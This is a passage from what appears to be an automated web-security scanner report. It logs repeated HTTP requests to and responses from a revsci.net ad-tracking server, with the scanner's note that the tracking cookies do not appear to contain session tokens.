QyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV2CTCeM1VkRza8Y=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:41 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6481&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:41 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:40 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/157224151.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCF2BTiOM1VkRNa9U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:21 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a9&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:21 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:20 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/164892384.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbUkPwRX+Mer9duzVms/xJMa; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:20 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b0&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:20 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:19 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/213412415.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk/dmP4TX+ser9duzVms895ML; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:38 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e647e&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:38 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:37 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/268190583.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; 